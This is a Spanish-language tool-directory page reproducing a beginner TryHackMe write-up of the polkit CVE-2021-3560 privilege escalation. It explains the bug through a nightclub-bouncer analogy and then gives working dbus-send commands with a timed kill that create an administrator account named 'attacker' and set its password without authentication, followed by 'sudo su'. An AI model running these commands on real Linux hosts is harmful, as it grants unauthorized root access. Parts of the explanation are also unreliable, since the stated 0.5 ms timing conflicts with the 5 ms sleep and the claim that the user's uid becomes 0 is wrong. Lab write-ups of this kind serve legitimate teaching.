Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
polkit-CVE-2021-3560_writeup — artículo apto para principiantes del módulo de nivel fácil de TryHackMe - polkit:CVE-2021-3560 | Kitploit
Herramientas/GitHubGitHub/realatharva15/polkit-cve-2021-3560_writeup
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónCTFAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubrealatharva15/polkit-cve-2021-3560_writeup

polkit-CVE-2021-3560_writeup

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

artículo apto para principiantes del módulo de nivel fácil de TryHackMe - polkit:CVE-2021-3560

Ver Repositorio
1hace 7 mesesAún no revisado

Try Hack Me - Polkit:CVE-2021-3560

Autor: Atharva Bordavekar

Dificultad: Info

Puntos: 32

Vulnerabilidad: CVE-2021-3560

Primero verificaremos la versión de polkit instalada para tener una mejor idea.

root@kitploit:~
apt list --installed | grep policykit-1

policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]

Utilicé deepseek para crear una analogía simple que te ayude a entender mejor el concepto de policykit.

La Analogía del Portero de Discoteca

Discoteca: Sistema Polkit

VIP de la discoteca: Servicios/acciones privilegiadas del sistema (montar unidades, instalar software, gestionar la red)

Portero en la puerta: Polkit mismo, interceptando todos los intentos de entrada

Lista de invitados / Código de vestimenta: Reglas de política de Polkit (almacenadas en /usr/share/polkit-1/actions/ y /etc/polkit-1/rules.d/)

Pase VIP / Membresía del club: Pertenecer a grupos específicos de Linux (como wheel, sudo, storage, network)

Verificación de identidad: Polkit comprobando la identidad del usuario y la pertenencia a grupos

Dueño/Gerente Root: usuario (tiene acceso sin restricciones a todo)

Clientes habituales intentando entrar al VIP: Usuarios/programas normales tratando de ejecutar comandos privilegiados

Portero consultando el libro de reglas: Polkit revisando las políticas configuradas para esa acción específica

Portero pidiendo pulsera/contraseña especial: Solicitud de autenticación (pedir contraseña)

Portero dejando pasar a alguien sin verificar: Acción permitida sin autenticación (para usuarios/grupos de confianza)

polkit es el sudo de systemd

Ahora podemos explotar a este portero de discoteca mediante algunas peticiones astutas para eludir la verificación de credenciales en las peticiones de dbus.

Entendamos esto usando la misma analogía del portero de discoteca anterior.

Supongamos que el proceso normal es: el portero verifica las identificaciones; si la persona tiene suficientes privilegios para realizar esa tarea en particular, el portero le permite el paso. Pero para explotarlo, el atacante enviará una petición falsa diciendo "hazme gerente del club con acceso total" al secretario del club. Ahora tenemos 11 milisegundos antes de que el mensaje llegue al secretario del club y, obviamente, él no aceptará esta solicitud. Por lo tanto, tendremos que cancelar la solicitud dentro de la mitad del tiempo que tarda en llegar al secretario, es decir, 0,5 milisegundos. Así, arrebataremos la nota que contenía la solicitud de aumentar nuestros privilegios justo antes de que el portero pueda verificar quién la envió. La arrebatamos y el portero no puede saber quién lo hizo. Ahora la nota tiene un número único que queda huérfano. El número único existe en el sistema, pero la nota original ha desaparecido. El protocolo predeterminado para manejar esta situación es que el portero asumirá que el mensaje fue enviado por el dueño del club, ya que el manual lo dice. Funciona así: el portero pregunta "oye, ¿quién envió este mensaje #12345?"; el demonio dbus busca en sus registros y responde "tengo el seguimiento del #12345 en mi registro, pero no puedo encontrar el mensaje real... ERROR". Entonces, en lugar de decir que no sabe quién lo envió, el demonio dbus devuelve un código de error. El manual de entrenamiento del portero tiene un error. El manual dice que si no sabes quién envió un mensaje en particular y obtienes un error al verificar la identificación, entonces asume que es del Dueño del Club (uid 0). El portero le dice al secretario del club que este mensaje es del dueño del club, aunque solo sea un proxy; el secretario lo aprueba y luego el secretario del club crea una nueva cuenta de gerente del club para el atacante. Ahora el atacante tiene privilegios equivalentes al usuario root.

Ahora veamos los comandos que nos darán inmediatamente un usuario llamado attacker con la contraseña Expl01ted. Así que comenzamos con los comandos:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

Este comando creará un usuario con el nombre attacker. Salimos justo después de 0.5 milisegundos para evitar que el mensaje sea leído por el portero (polkit). El usuario attacker aún no tiene credenciales de root.

Para otorgar al usuario attacker los privilegios root tan necesarios, usaremos el comando:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
id attacker

Ahora podemos ver que el uid del usuario attacker es 1000.

Aquí añadimos el id de usuario del usuario atacante original que no tenía privilegios. Esto asegurará que el id del usuario attacker pase de 1000 a 0.

root@kitploit:~
id attacker

Ahora podemos ver que el uid del usuario attacker ha cambiado de 1000 a 0, lo que significa que estamos en el grupo del usuario root con los máximos privilegios. Podemos ejecutar directamente comandos como root desde aquí o simplemente saltar a una shell root, lo que prefieras.

root@kitploit:~
sudo su```
Descargar herramienta